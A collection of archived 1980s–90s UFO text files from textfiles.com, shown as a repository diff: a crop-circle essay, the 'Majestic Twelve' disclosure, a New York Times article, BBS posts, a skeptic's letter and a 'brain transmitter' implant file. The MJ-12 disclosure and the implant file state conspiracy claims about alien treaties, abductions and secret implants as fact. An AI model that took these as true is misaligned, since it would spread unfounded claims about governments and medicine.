is discovered, with or without a UFO sighting. There are some videos
of lights bobbing about British fields around crop circle sites, and
one disputed video of a small "probe" Daylight Disk flitting across a
British field. In rebuttal, vortex theorists produce eyewitness
testimony of winds creating flattened circles. Can both sides be
right?
As much as debunkers would like to believe the crop circle issue is
solved in terms of Doug and Dave, there's more to the problem. The
much broader "phenomenon" of cerealogy is still in need of examination.
Is there a residue of unexplained cases among the hopelessly
contaminated data? Why has the subject attracted such attention? Why
has there been such a preponderance of sites in southern England? If
hoaxers were behind so many of the formations, what was their
motivation? How does the crop circle fervour compare with that of
other historical and mythological physical traces such as fairie rings,
megaliths, witches' sabbaths, linear mounds and petroforms? And on and
on and on.
While this article will be interpreted as having a very negative,
skeptical tone, it is only because such an attitude is natural when
faced with an overwhelming amount of published comments and literature
that do not seem to have addressed the core of the cerealogy problem.
Instead, there have been coffee-table books of marvelous photographs and
exciting speculation about the messages from the alien scribes or the
new atmospheric mechanism responsible. But in very few cases have the
Emperor's New Clothes been examined very closely. Debunkers very
quickly pointed out the absurdity of such claims, but cerealogy refused
to listen. This was one of the causes of the embarrassment faced by
cerealogists during the days of the hoax expose. Researchers were too
keen to expound upon the circles' mystery without taking a tip from
ufology: try a conventional explanation first. Note that this is not
debunking - just rational investigation. And it applies to all areas
of Fortean research, not just cerealogy. Ufology and cryptozoology are
just as prone to these problems.
Waht is the solution? I certainly am not about to offer one. It
has to come from the entire cerealogy or ufological community, from the
relevant peer groups who are sincere about their research efforts.
Until such time, we will be continued to be regaled with experts
talking about mysterious energies at work inside circles, invisible
alien scout craft with rotating landing gear, secret military aerial
microwave beam platforms, ancient Sumerian hieroglyphics, witnesses of
perfectly circular wind vortices and, of course, the infamous mating
dance of hedgehogs.

BIN
textfiles.com/ufo/swan1asc.ufo Normal file
View File

Binary file not shown.

231
textfiles.com/ufo/thisisit.ufo Normal file
View File

@@ -0,0 +1,231 @@
DISCLOSURE OF THIS INFORMATION IS AN ATTEMPT TO PROTECT AND PRESERVE THE
CONSTITUTION OF THE UNITED STATES OF AMERICA. THE GROUP KNOWN AS MAJESTIC
TWELVE HAS ENGAGED IN A VILE CONSPIRACY THAT HAS IGNORED THE LAW OF THE LAND
AND THE PRINCIPLES OF FREEDOM THAT THE UNITED STATES WAS FOUNDED UPON. THEY
HAVE TAKEN IT UPON THEMSELVES TO INSTITUTE UNLAWFUL AND DANGEROUS PROJECTS
WHICH HAS ENDANGERED THE NATION AND THE HUMAN RACE. THE DISCLOSURE GROUP
CONSISTS OF INDIVIDUALS WHO HAVE SWORN TO UPHOLD AND PROTECT T E CONSTITUTION
OF THE UNITED STATES. WE HOPE AND PRAY THAT THIS DISCLOSURE WILL ENCOURAGE
OTHERS CONNECTED WITH THIS CONSPIRACY TO MAKE SIMILAR DISCLOSURES. WE ASK
THAT THIS STATEMENT REMAIN ATTACHED TO THIS INFORMATION. WE SEEK NO REWARD OR
PUBLIC ACCLAIM. WE ONLY SEEK TO EXPOSE THIS ACT AS A CRIMINAL ASSUALT UPON
THE UNITED STATES AND THE HUMAN RACE.
MAJESTIC TWELVE (PROWORD) MAJIC
MAJESTIC TWELVE, MAJESTIC 12, MAJESTIC-12, MJ-12, MAJIC, are all forms of the
code name for the control group authorized by President Truman on 09/24/47.
The Director of the Central Intelligenge Agency (CIA) is the Director of
Majestic Twelve, MJ-1. The control group was formed to oversee a TOP SECRET
Research and Development & Intelligence Operation and was responsible only to
the President. The need for this group was dictated by the finding of a
downed FLYING SAUCER scattered over 2 sites near the town of Roswell New
Mexico in July 1947. The dead bodys of 4 very small human like ALIENS were
also found. MAJESTIC TWELVE is the most highly classified secret in the
United States and its existance has never been divulged to Congress. The
funds for MJ-12 and Aquarius are CIA confidential (non-appropriated).
DOCUMENTS
MAJESTIC TWELVE documents can be identified by the following;
TOP SECRET/MAJIC/RESTRICTED DATA EYES ONLY COPY___OF___ TOP
SECRET/MAJIC/RESTRICTED EYES ONLY COPY___OF___ TOP SECRET/MAJIC
EYES ONLY COPY___OF___
One of the above will appear both at the top and bottom of each page. You
will never see one version in a document along with any other version. Also
on each page will appear; T52-EXEMPT (E) or just EXEMPT. T52 is the
publication outlining procedures for automatic downgrade of all security
classifications and the time period for declassification of each security
level. This information is never to be declassified. Each page of each
document will be numbered consecutively and the number of pages will appear
upon the cover sheet. Copys of MAJESTIC TWELVE beyond the original number
are forbidden.
PROJECTS under MAJESTIC TWELVE
The operations listed here were current as late as 1976 with absolute
certainty and are still operational to the best of our knowledge. The names
of the original operations were changed several times over the years and
eventually evolved into those listed.
PROJECT SIGN (PROWORD) MAJIC
The first project under MAJESTIC TWELVE. The mission of project sign was
essentially the same as that which PROJECT AQUARIUS evolved into. PROJECT
SIGN referred to aliens as Extraterrestrial Biological Entities. The reasons
for the absorbtion of PROJECT SIGN by PROJECT AQUARIUS were mainly of a
political and security nature. PROJECT AQUARIUS stripped the Air Force and
Army Generals of their historic control of the UFO/IAC projects and placed
most of it under the Intelligence umbrella.
PROJECT AQUARIUS (PROWORD) MAJIC
Established in 1953 by President Eisenhower under control of MJ-12 and PROJECT
SIGN. The Project contains all information collected by the United States
since it began investigating UFO's (Unidentified Flying Objects) and IAC's
(Identified Alien Craft). At the time we saw this information it existed in
approximately 15 or 16 volumes. This project became an independent project
when PROJECT SIGN was eliminated in 1960. PROJECT AQUARIUS referred to aliens
as Alien Life Forms. The mission of PROJECT AQUARIUS was to gather all
scientific, technological, medical, and intelligence information from UFO &
IAC sightings and contacts with Alien Life Forms. The information was to be
used in the space program.
PROJECT SIGMA (PROWORD) AQUARIUS
Established in 1954 as part of PROJECT SIGN. The mission of PROJECT SIGMA was
to establish communication with the aliens. First communication was
established in 1959 through binary computer language. On April 25, 1964 a USAF
(OSI) officer met with aliens at a prearranged desert location in New Mexico.
Information was exchanged and a basic understanding was reached after several
hours. It was learned through this effort that several species of alien
life existed. Communication was eventually established with all of them.
Through communications it was determined that 3 catagorys existed. The three
catagorys are MALEVOLENT (DANGEROUS), BENEVOLENT (GOOD-HELPFUL), and NEUTRAL
(OBSERVERS ONLY) The project has been extremely successful.
PROJECT PLATO (PROWORD) AQUARIUS Established in 1960 after the United States
established communications with the aliens. The mission of PROJECT PLATO was
to establ ish diplomatic re lations with the aliens. Project Plato made
agreements in order to prevent hostilitys between the United States and the
aliens. An agreement was made with the MALEVOLENT aliens whereby they could
abduct humans. The purpose of these abductions were to provide blood and
other biological fluids as food for the aliens. The aliens agreed to furnish a
list periodically to MJ-12 of the names of those abducted. PROJECT PLATO took
whatever steps neccessary to prevent public disclosure.
* PROJECT PLUTO (PROWORD) AQUARIUS
Established in 1947 after the Roswell incident. The mission of PROJECT PLUTO
was to recover all crashed or downed alien craft, to recover all evidence of
alien presence or technology, and to recover all alien bodies (alive or dead).
PROJECT PLUTO developed cover stories to satisfy press and civilian curiosity.
PROJECT PLUTO was authorized use of deadly force and/or relocation to insure
secrecy. PROJECT PLUTO was responsible for and biological intelligence of the
Alien Life Forms.
PROJECT POUNCE (PROWORD) AQUARIUS Established in 1968. The mission of
PROJECT POUNCE was to evaluate all UFO/IAC information pertaining to space
technology. The goal was to duplicate the technology and/or improve upon it.
Ultimate use of the technology would establish the United States as the
dominate world power and close the gap in any confrontation with the aliens.
PROJECT REDLIGHT (PROWORD) AQUARIUS Established in 1954. The mission
REDLIGHT was to test a recovered alien craft. The mission was accomplished in
part only. PROJECT REDLIGHT was terminated in 1963 after every (flyable)
recovered craft exploded during test flights. There were no survivors among
the human test pilots.
PROJECT SNOWBIRD (PROWORD) AQUARIUS Established in 1972. The mission of
PROJECT SNOWBIRD was to test fly a recovered alien craft. The project was on
going the last time I saw this information.
PROJECT ???????? (PROWORD) AQUARIUS (NOTE...We are recall the name of this
project nor have we been able to get response from anyone on it. At the time
we saw the information the project was ongoing. It cannot be determined if
this project is still in existence.) The mission of this project was to
develop a low frequency pulsed sound generator. The energy produced from this
generator was to be concentrated so that it could be aimed and used as a
weapon in order to destroy the alien craft and beam weapons. The alien beam
weapons were described as ange but able to incapacitate or destroy any weapons
system known to date (1972). The aliens also possess a beam weapon which is
described as being able to paralyse any human within range. Tests were
described as having shown that the alien craft and weapons were extremely
sensitive to low frequency pulsed sound waves. This weapon was to be used to
incapacitate the alien defenses in order to allow PROJECT EXCALIBUR to succeed
in its mission. The initial technology used in this project was capture the
Germans during WW- II. The German sound generators were described as being
able to knock down reinforced concrete buildings and shatter 4" thick armour
from a great range. This technology is believed to further substantiate that
Germany had recovered alien craft and had possibly had some dealings with the
aliens prior to or during WW-II. Documents captured during and after WW-II
indicated that an alien craft had been recovered by Germany in 1939. A German
built flying saucer was captured dur last few months of WW-II.
PROJECT EXCALIBUR (PROWORD) AQUARIUS Established in 1972. The mission of
PROJECT EXCALIBUR is to develop a weapons system capable of destroying the
alien underground base after the alien beam weapons have been incapacitated or
destroyed. The alien underground base is located beneath an indian
reservation near the small town of Dulce, New Mexico. The device must be
capable of penetrating 1,000 meters of tufa / hard pack soil and sustain no
operational damage. This typ is commonly found in New Mexico where the alien
base is located. Missile apogee must not exceed 30,000 feet AGL. Impact
deviation will now exceed 50 meters. The device will carry a 1 megaton
warhead.
PROJECT BLUE BOOK A U.S. Air Force project establiahed to determine whether
UFO's pose a threat to the security of the United States and to determine
whether UFO's exhibit any unique scientific information or advanced technology
which could contribute to scientific or technical research. PROJECT was
successful in its primary mission outlined above. PROJECT BLUE BOOK was not
quite so successful in its secondary mission which was to publicly explain
away the UFO phenomenon as natural or known phenomenon in order to eleminate
public interest. To completely fulfill the secondary mission it was decided
that an outside commission of distinguished scientists would be convened in
order to permanantly lay the issue to rest. After this 'study' was completed
(Condon Commission) the Air Force state the continuation of Project Blue Book
cannot be justified, either on the ground of national security or in the
interest of science. PROJECT BLUE BOOK was abandoned and its mission and
information was consolidated under PROJECT AQUARIUS in 1969.
SCIENTIFIC STUDY OF UNIDENTIFIED FLYING OBJECTS Contracted to the University
of Colorado in 1966 and Chaired by Dr. Edward U. Condon. The results of the
panel were dictated before the first meeting. Despite objections of the other
panel members, Dr. Cond le to fulfill the mission. The general conclusion was
that "nothing has come from the study of UFOs in the past 21 years that has
added to scientific knowledge." A panel from the National Academy of Sciences
agreed. The press and the public were satisfied. Except for a hard core
element of UFO believers the issue died in the public forum.
OPERATION UFO (NSA OPERATION IN SUPPORT OF PROJECT PLUTO) The mission of
Operation UFO was to form intelligence teams versed in all of the knowledge
learned which would be the first on scene of any UFO crash site in order to
secure the technology and prevent it from falling into foreign hands. Several
teams existed over the world. The United States was specifically concerned
that it did not fall into Soviet hands. This mission was to be accomplished
no matter the country of occurrance. Many subsequent ALIEN CRAFT recoverys
would occur in foreign countrys as well as the United States. UFO was also
used to recover downed space hardware (especially So d to recover nuclear
weapons which became lost (usually by accident).
OPERATION MOONDUST (SUPPORTED SPACE PROGRAM & UFO) The mission of Operation
Moondust was to provide a cover which would neutralize public curiosity while
recovery of an ALIEN CRAFT was being conducted. The teams that made up the
compliment of Moondust were the same teams that made up UFO. Moondust was made
public and its mission (to the public) was to identify and recover United
States space hardware which might fall to earth. s a bonified mission when
circumstances dictated.
OPERATION BLUEFLY (SUPPORTED UFO & MOONDUST) The mission of operation Bluefly
was to provide QUICK REACTION COMBAT TEAMS known as ALPHA teams (fight for
technology if neccessary), mechanical and technological support in recovery,
rapid and secure transport to secure storage and examination areas. There are
several of these storage and examination areas in order to limit distance
traveled and thus limit the possible chance of an accident that cou e cargo to
public knowledge. Several teams existed over the world. Recovery and
transport of both EBEs (dead or alive) and Alien craft were accomplished.
Bluefly was also utilized in event of recovery of space objects (of
terrestrial origin), and event of recovery of lost nuclear weapons (usually
due to accident).
NOTE....This account of the history and current status of MAJESTIC TWELVE and
the Alien Life Forms has been kept brief. We believe that the intent, however,
has been served with th on provided. The whole story would fill several
hundred volumes. We realize that even with the combined effort of several
memorys we have probably made some mistakes. We have tried to minimize the
mistakes and feel that what is represented is true and correct to the best of
our combined knowledge.


21
textfiles.com/ufo/tidbitsss.ufo Normal file
View File

@@ -0,0 +1,21 @@
TID-BITS OF TRASH:
Non-subscriber William Steinman has come out with a book called "UFO
Crash at Aztec (New Mexico)", co-authored by Col. Wendelle Stevens from the
depths of his prison cell. This tome is about the alleged saucer crash of May
25th, 1948, in which the remains of sixteen dead aliens were allegedly found.
The book is available from UFO Contact Newsline, 8721 Santa Monica Blvd.,
Suite 600, Los Angeles, CA 90069. Price: a very hefty $18.95!
Pete Mazzola, co-founder of the Scientific Bureau of Investigation
(SBI), died of brain cancer on June 10th of this year. With his passing, the
SBI, which had several hundred members at its peak, is now defunct. We knew
Peter slightly...
An organizational meeting of the New York Fortean Society was held in
what appeared to be a very large closet in midtown New York City, on Sept.
19th. Almost fifty people attended, including your humble editor, and the
audience was practically sitting on each other's laps. Predictably, John Keel
was elected president of the organization, and all of us who attended are
considered founders. Wheeee!....


152
textfiles.com/ufo/times.ufo Normal file
View File

@@ -0,0 +1,152 @@
Item: New York Times, Science Times Section, June 16, 1986
'Urge to Investigate and Believe'
Sparks New Interest in U.F.O.'s
By William J. Broad
The aliens are here again, at least in terms of popular culture, if not in
fact.
Three books about alien visits are selling briskly; one of them has topped
the nonfiction best seller list for weeks. clubs, newsletters, movies and
lectures about unidentified flying objects are generating revenues at a
pace exceeded only in the 1950's, during the first wave of U.F.O.
sightings.
Enthusiasts are now even charging that for 40 years the Federal Government
has harbored physical evidence of an earthly encounter with
extraterrestrial creatures, including their lifeless bodies and damaged
spacecraft. That startling report, dismissed by skeptics and Government
officials as a laughable hoax, is contained in what purport to be
top-secret Government papers from the Eisenhower era.
Why the fascination with aliens, despite repeated failures over the decades
to document their earthly arrival?
In interviews, psychologists, historians, philosophers and writers of
science fiction said belief in alien encounters was rooted in such things
as the need for secular messiahs and the search for explanations for
terrestrial troubles.
"The urge to investigate and believe in the stuff is almost religious,"
said Ben Bova, former editor of Omni magazine and a writer of science
fiction. "We used to have gods. Now we want to feel we're not alone,
watched over by protective forces far beyond us."
But others, often sober, respectable scientists who have studied U.F.O.
reports for years, said the skeptics were missing the biggest story of the
age.
"People who haven't been paying attention to this stuff are in for shock,"
said Dr. Bruce Maccabee, a full-time Navy physicist in Washington, D.C.,
and a part-time U.F.O. researcher. "Some sort of things have been flying
around for decades, and they aren't ours."
The current U.F.O. flurry is led by new books: "Communion" by Whitley
Streiber (Morrow), "Intruders" by Budd Hopkins (Random House), and "Light
Years" by Gary Kinder (Atlantic Monthly Press). "Communion" has been on
the New York Times best seller list for 16 weeks.
All three tell of personal encounters with aliens. In this they differ
from the last great period of U.F.O. enthusiasm, in the 1950's, said David
M. Jacobs, author of "The U.F.O. Controversy in America," and a historian
at Temple University in Philadelph ia. In the 1950's U.F.O. sightings
were in vogue. Now, he said, we are in a "new era" in which aliens are
taken as fact and attention had turned to "people's experiences" with them.
Indeed, the hottest topic among U.F.O. enthusiasts is what they describe
as the Federal Government's experience with aliens, especially the "Roswell
Incident," one of the oldest U.F.O. episodes on the books. Timothy Good,
a British U.F.O. researcher, and a group of U.F.O. investigators in the
United States say they have documentary evidence that the Government hid
its knowledge that a "flying saucer" crashed in 1947 near Roswell, N.M.,
killing its crew of extraterrestrial creatures. The charges are contained
in Mr. Good's book "Above Top Secret: The Worldwide U.F.O. Cover-Up," to
be published in Britain in July. The Roswell Incident The Government's
position is that the 1947 incident was nothing more than the sighting of a
weather balloon. But the U.F.O. researchers cite a newly discovered
document, dated Nov. 18, 1952, purportedly a top-secret briefing paper for
President-elect Dwi ght D. Eisenhower. It discusses a secret Federal team
known as Majestic-12, or MJ-12, established by President Truman on Sept.
24, 1947 to investigate the of the spacecraft and its crew [sic].
"It appears to be genuine," said William L. Moore, who wrote a book about
the incident and who investigated the document for more than two years
after a colleague received it anonymously in the mail. But he said there
is nothing in the records "that show s it's a fraud."
"Nonsense," replied Philip J. Klass, a leading U.F.O. debunker and
chairman of the U.F.O. subcommittee of the committee for the Scientific
Investigation of Claims of the Paranormal, a respected group of scientists.
Mr. Klass said he had seen the document and considered it "an outright
hoax."
The document purportedly recounts a secret briefing to President-elect
Eisenhower by Read Adm. Roscoe H. Hillenkoetter, the first director of
the Central Intelligence Agency, who is now dead. According to the
document, Admiral Hillenkoetter was a member of Majestic-12. It begins
with a chronology of crash near Roswell [sic].
"On 07 July 1947," it says, "a secret operation was begun to assure
recovery of the wreckage of this object for scientific study. During the
course of this operation, aerial reconnaissance discovered that four small
human-like beings had apparently eject ed from the craft at some point
before it exploded. These had fallen to earth about two miles east of the
wreckage site. all four were dead and badly decomposed due to action
predators and exposure to the elements during the approximately one week
time period which had elapsed before their discovery."
"A special scientific team took charge of removing these bodies for study.
The wreckage of the craft was also removed to several different locations.
Civilian and military witnesses in the area were debriefed, and news
reporters were given the effective cover story that the object had been a
misguided weather research balloon."
By November 1947, the briefing continued, a Federal team of scientists had
concluded "that although these creatures are human-like in appearance, the
biological and evolutionary processes responsible for their development has
been quite different from tho se observed or postulated in homo-sapiens."
Stanton T. Friedman, a nuclear physicist in Frederickton, New Brunswick,
Canada, who is investigating the document with Mr. Moore and who lectures
widely on U.F.O.'s, acknowledged that interest it generated would raise
lecture fees but said their goal was to get at the truth.
"We're dealing with something of extraordinary importance," he said. "What
this means is that we humans are not the big shots we think we are." He
said the landing was concealed because "no Government wants people to have
their allegiance to the planet rather than themselves."
Reflecting on the scope and intensity of the current flurry of interest,
Jerome Clark, vice president of the J. Allen Hynek Center for U.F.O.
Studies in Chicago and editor of "International U.F.O. Reporter," said:
"What's interesting is that all this is happening in the absence of a
sighting wave. There hasn't really been anything sighted since the 1970's.
If I were paranoid, I'd say it's quiet, too quiet."
Frederik Pohl, a science fiction writer, said belief in U.F.O.'s is
flourishing now because the nation's political leaders are seen as
floundering. "We're told by our leadership to be resolute against
terrorism, yet they make deals," he said. "We're tol d 'Star Wars' is the
future, but no one other than Ronald Reagan believes it. People have lost
trust in reality and they're looking for something else."
Michael Wertheimer, a psychologist at the University of Colorado who has
participated in studies that debunked U.F.O. reports, agreed that feelings
of helplessness tended to reinforce the urge to believe in the
extraterrestrial.
Paul Kurtz, a philosopher at the State University of New York at Buffalo
and chairman of the Committee for the Scientific Investigation of Claims of
the Paranormal, said the current U.F.O. wave was "part of a bizarre trend
in where there is no sense of standards of evidence."
Dr. Maccabee, the Navy physicist, conceded that skeptics often made valid
points. "But the simple fact is that there are unexplained sightings," he
added. "Over the past 40 years there have been 100,000 sightings with 10
to 20 percent that are hard to explain."
In the case of the purposed [sic] Eisenhower documents, he said, "maybe
somebody's been clever, but I think there's a good chance they are
authentic."


69
textfiles.com/ufo/toalldoc.ufo Normal file
View File

@@ -0,0 +1,69 @@
I had my first contact (other than public messages on the Paranet BBS) with
John Lear on October 4, 1988. I called him at his home in Las Vegas because
he had asked me to by msg on Paranet BBS. At the time I called he could not
talk long as he had visitors from Los Alamos LANL WX (weapons) division (4
men, he told me). We had a short pleasant talk during which he thanked me
for my support and expressed the feeling that, if I had not come forward when
I did, he would have left Paranet and would never have returned. We promised
to talk at a later date.
We spoke again on Thursday Oct. 6th when he called and asked if I would help
him out by posting the Bill English statements to Paranet. I told him that I
would. he stated that he would also send me a lot of other documents and
statements which he had in his possession. John called again on Friday Oct.
7th to say the package was on its way. I told him I would look forward to
reading his information.
I received the information by Federal Express on Saturday Oct. 8th at about
10:30 am. Nonstop it took me until around 4:35 PM to read everything. I was
numb. It confirmed everything I personally knew and had seen first hand
(information which I had delivered to others a week previous). Here at last
was confirmation of both John Lear's statements and confirmation of my
statements. All from several different sources (most named some not). Our
statements confirmed theirs. The important thing is that none of these
people know the others and they all say the same thing.
I will upload as much of this information to the board as quickly as I can
beginning with the Bill English statements. I will follow with the others as
fast as I can type them to disk and archive them together. I will be
somewhat selective as to what I put in at first because I want those with the
greatest impact to be seen first. Some of these things were obviously
published before but take on new meaning when combined with this stuff. I
have chosen to call this information FEDEX for lack of a better title and
will upload it as FEDEX1.ARC, FEDEX2.ARC, FEDEX3.ARC, etc.
I would like to say in closing that I believe that John Lear has been treated
in a most uncivilized manner by a lot of supposedly civilized people. In
fact I believe that some of you were downright degrading and vulgar to say
the least. I have also (at times) been treated in the same manner.
Specifically since I first expressed my knowledge that Mr. Lear is right.
Therefore I know how he feels. I hope that those of you who are guilty can
clean up your act. If you can then we can get on with solving this mystery
and exposing it. Leave the debunking to Phil Klass and those others who's
job discription, in part, is specifically to debunk. We must stick together
or all is lost. The mission of those in the Government who's task is to keep
all this a secret is to make all of us look like fools. I must say that some
of you are making their jobs very easy. Think about it. Respectfully, Bill
Cooper 


168
textfiles.com/ufo/toddlet1.ufo Normal file
View File

@@ -0,0 +1,168 @@
Robert G. Todd
2528 Belmont Avenue
Ardmore, PA 19003-2167
March 21, 1989
Mr. Grant R. Cameron
649 Silverstone Avenue
Winnipeg, Manitoba R3T 2U8
Dear Grant,
Many thanks for the material on Cooper's perspective of MJ-12.
I don't have any "inside sources" with whom I can check the
accuracy of Cooper's statements, so it's difficult to evaluate
his material. On the surface, it has a better appearance than
Moore's stuff, if only because it _seems_ to contain more
specifics. Still, I'm more than a little suspicious of it.
Anything is _possible_, but because of the sensational nature
of the claims, both Moore's and Cooper's, I _must_ question
their truthfulness until supporting information surfaces. That
doesn't mean that I have given up looking for information to
support the claims, because I haven't.
One thing that did catch my attention wsa Cooper's reference to
Project SNOWBIRD, which he claims was a cover project for Project
REDLIGHT. IF indeed SNOWBIRD was "A flying saucer 'TYPE' craft...
built using conventional technology", and if indeed "It was
unveiled to the press and flown in public on several occasions,"
why doesn't anybody know about it and why hasn't anybody seen it?
If it was unveiled to the press, and flown in public on several
occasions, surely the Air Force would have revealed its official
designation and supposed "aircraft buffs" like Lee Graham would
be aware of it.
I don't pretend to understand what's going on here. No matter how
you look at this, a lot of people are lying. They can't all be
telling the truth. I don't mean to suggest that Cooper is lying.
He may only be repeating what his sources have told him. That
brings me to another claim Cooper makes.
Cooper claims to have actually seen the GRUDGE/BLUE BOOK Report
No. 13. The material you sent makes no reference to the circumstances
under which he saw the document, although he hints that perhaps he
saw it while in the military.. Where did he see the document during
his military career? Did somebody in government shown him the
document? If so, why? Was he shown the document in connection with
his military duties? He answers none of these questions in the
material you furnished to me. Unless he has explained this in
another writing, he expects us to just accept the fact that he saw
the document. I can't speak for anybody else, but I know I'm not
made that way. Given the sensational nature of the claims, I just
can't accept these kinds of allegations without something more
substantial than somebody's word for it. For me, the circumstances
of his having seen the document are almost as important as what
he claims the document said. I can't say I would be any closer to
believing his story, but it sure can't hurt.
The more I learn about these matters, the less likely I am to
believe _anything_ being said.
For your information, I have attached a copy of a letter apparently
written by Richard Doty. I say "apparently" only because the copy
I received isn't signed.
In the attached letter, Doty (presumably) reveals that his father
was never a Blue Book investigator. He says his uncle was, so I
guess the Edward Doty I mentioned in a previous letter may have
been Richard Doty's uncle, rather than his father.
In addition, I don't know to whose book Doty refers in his letter.
His comments clearly indicate a knowledge of the book's contents
prior to publication. I suppose it safe to assume that he
contributed to the book in some fashion. I don't see Doty as being
capable of writing a marketable book, _on his own_. Maybe it was
coauthored with Bill Moore. Maybe that's why the book with Bob
Pratt fell through. As usual, Doty makes everything as clear as
mud.
I have also received your March 19, 1989 letter and the accompanying
copies from the Eisenhower Library. It shouldn't come as a surprise
to anybody that Presidents do have Special Projects dealing with all
kinds of matters, including those relating to science. Whether or
not any of those Special Projects relate to MJ-12 remains to be seen.
I wish Stan the best of luck with his endeavors.
As far as I know, nobody is saying that the people named as members
of MJ-12 were not involved in government service. I know they were.
Likewise, since they were involved in government service, we could
reasonably expect to see clear and frequent links between these
people, links that would be documented in official government
records, as well as history books. So what? Aside from the MJ-12
document, I have seen _nothing_ that even hints that these people
were involved in matters relating to crashed extraterrestrial
craft.
Stan Friedman has stated in his own writings that he caught on
to most of the names on the list of MJ-12 members long before
the MJ-12 document ever surfaced. Although he says he didn't
catch on to Menzel, he knew before the document surfaced that
Menzel had had a security clearance with the Air Force. In fact,
he has written that when Bill Moore and Jamie Shandera first
read him the names on the MJ-12 list, he went to his file on
Vannevar Bush and pulled out a letter from Bush's attorney
informing Bush of the result's of Menzel's loyalty hearing. Stan
Friedman also points to the fact that the phrasing used in the
Cutler memo to General Twining is almost identical to that used
in another memo he and Moore located at the Manuscript Division
of the Library of Congress _years_ before.
If you start from the premise that the MJ-12 documents do
constitute a hoax, then you have to consider how the hoax
could have been hatched. In turn, you assume it was hatched
with the Roswell incident, and start digging from there, as
Bill and Stan have done. I agree that if a UFO actually did
crash in New Mexico in 1947, the Research and Development
Board would be a _very_ logical place to start looking. Bill
and Stan started looking. They looked for years, as I understand
it. But not until the MJ-12 documents surfaced did the bits and
pieces of information they collected over those years of
research magically start falling into place.
Either the MJ-12 documents are a hoax, or they are genuine. If
the documents are a hoax, I contend that the documents were
created around the very bits and pieces of legitimate information
and facts Stan and Bill culled from the various archives. The
dates, names, the relationships between the government personnel,
are all legitimate. We know they are legitimate. Around these
random pieces of legitimate facts somebody could have concocted
the MJ-12 story. If you start off with the legitimate facts, and
embellish them with tales of crashed saucers, of course the story
is going to have an air of authenticity to it. Of course the dates
and relationships will check out because they were known even
before the story was concocted.
If the documents are a hoax, I don't know who perpetrated the
hoax. As to why the may have done it, that depends a great deal
on exactly who did it. It seems clear to me that, if the documents
are a hoax, the person or persons responsible had to have
information on a par with that held by Bill Moore and Stan
Friedman. As a result, the hoax, if it is one, wasn't casually
dreamed up one Saturday afternoon when the perpetrator had
nothing better to do. Indeed, the legitimate facts gathered
and used in the hoax probably were not gathered with the purpose
of perpetrating a hoax in mind. I believe it was either an
afterthought of the person or persons gathering the facts, or
the same legitimate facts were shared with somebody who came
up with the brilliant idea to concoct a story around the facts.
I don't _know_, in an absolute sense, that it is a hoax. I _believe_
it is a hoax. I can't _prove_ it is a hoax - _nobody_ can, not
even the government. If it is a hoax, we may never know. If the
story is true, the government _could_ confirm it, provided they
_want_ to. If it is false, they can't prove it and neither can
anybody else. We could be exchanging identical letters fifty
years from now and be no closer to the truth.
If Stan Friedman turns up proof that MJ-12 is legitimate, I'll
be among the first to congratulate him. _Sincerely_, I wish
him the best of luck in his hunt.
Bob
Atch


286
textfiles.com/ufo/transmit.ufo Normal file
View File

@@ -0,0 +1,286 @@
======================================================================
<<UFONET I>> * 416-237-1204 * PC-Pursuitable * File Requestable * HST
* 24 Hour Operation * Sysop - Tom Mickus * Toronto * FREE
======================================================================
======================================================================
TRANSMIT.TXT - Text file typed in by <<UFONET I>>, and made available
^^^^^^^^^^^^ by the UFO Research Institute of Canada (UFORIC).
======================================================================
======================================================================
Note: What follows are typed in portions of four pages of text. The
first two pages, are medical reports from the University of
California Medical Center, San Diego. The third page is a
letter from Dr. P.A. Lindstrom to Robert Naeslund. The last
page is a brief summary of the brain transmitter experiments
as compiled by R. Naeslund and friends. At the end of the
third and fourth pages, there are several paragraphs of
commentary, attributed to someone by the name of "Koski".
This file begins with a few observations made by UFORIC
Director Lorne Goldfeather as to the implications of the
Swedish brain transmitter experiments on the subject of
brain implants being performed during "alien abductions".
======================================================================
======================================================================
-- Human implantations are not only possible but have been done
years ago and documented in studies. Therefore it is quite
conceivable and closer to reality than science fiction that
if aliens are abducting humans, they could indeed be
implanting a sophisticated monitoring device.
======================================================================
UNIVERSITY HOSPITAL
University of California
Medical Center, San Diego
PROGRESS RECORD
(Typewriter Copy)
---------------------------------------------------------------------
TO WHOM IT MAY CONCERN:
Recently I reviewed a skull film marked: NASLUND, ROBERT and
dated 26-11, 1981. That film shows a couple of unusual
foreign bodies at the base of the skull, possibly some form
of brain transmitters.
However, I have not examined or talked to this patient and
do not know the pertinent history.
San Diego, CA
October 6, 1983
(signed) Ingmar Wickbom
Ingmar Wickbom, M.D.
Professor of Radiology
U.C.S.D.
=======================================================================
=======================================================================
DEPARTMENT RADIOLOGY UNIVERSITY OF CALIFORNIA MEDICAL CENTER
--------- SAN DIEGO
UNIVERSITY HOSPITAL
225 DICKSON STREET
SAN DIEGO, CALIFORNIA 92103-9781
Radiological report regarding a skull film marked:
KABOLLYSKA 26-11-1981
NASLUND, ROBERT
This film demonstrates at the skull base an unusual implanted
foreign body about 1 cm in diameter. This foreign body appears
to be some form of transmitter.
October 10, 1983
(signed) Ricardo Centeno
Ricardo Centeno, M.D.
Assistant Professor of Radiology
UCSD Medical Center
San Diego, CA
=======================================================================
=======================================================================
P.A. LINDSTROM, M.D.
1005 Calle Delicada
La Jolla, CA 82031
(714) 210-1220
July 27, 1983
Mr. Robert Naeslund
Ervallakroken 27
S-12443 Bandhagen
SWEDEN
Dear Mr. Naeslund:
In response to your most recent letter regardging the roentgen films,
I can only confirm that some foreign objects, most likely brain
transmitters, have been implanted at the base of your frontal brain
and in the skull.
The risk of such implantations is considerable and the risk of chronic
infections and meningitis when the implantation has been made through
the nose or the sinuses are real issues.
In my opinion, there is no excuse for such implantations if the
patient has not been fully informed about the procedures, the
purposes, the risks, the method of anesthesia, etc, and then gives
a clear written consent.
I fully agree with Lincoln Lawrence, who in his book on page 27 wrote:
"There are two particularly dreadful procedures which have been
developed. Those working and playing with them secretly call them
R.H.I.C. and E.D.O.M. -- Radio-Hypnotic Intracerebral Control and
Electronic Dissolution of Memory."
Many years ago I had some discussions with Delgado. He asked me to
apply my ultrasonic technique for his particular purpose of altering
patient's behaviour but I declined because we had entirely different
airs and approaches. However, I found Delgado to be an intelligent
but somewhat strange man.
Best wishes,
(signed) P. Lindstrom
Lincoln Lawrence: WERE WE
P.A. Lindstrom, M.D. CONTROLLED, The Assassination
of President Kennedy.
New York, 1967
PAL/mjt
(NOTE: The following two comments were handwritten by two different
persons previously reviewing this document.)
"Lincoln Lawrence" is a pseudonym, his real name is Arthur J. Ford
(an ex-FBI man).
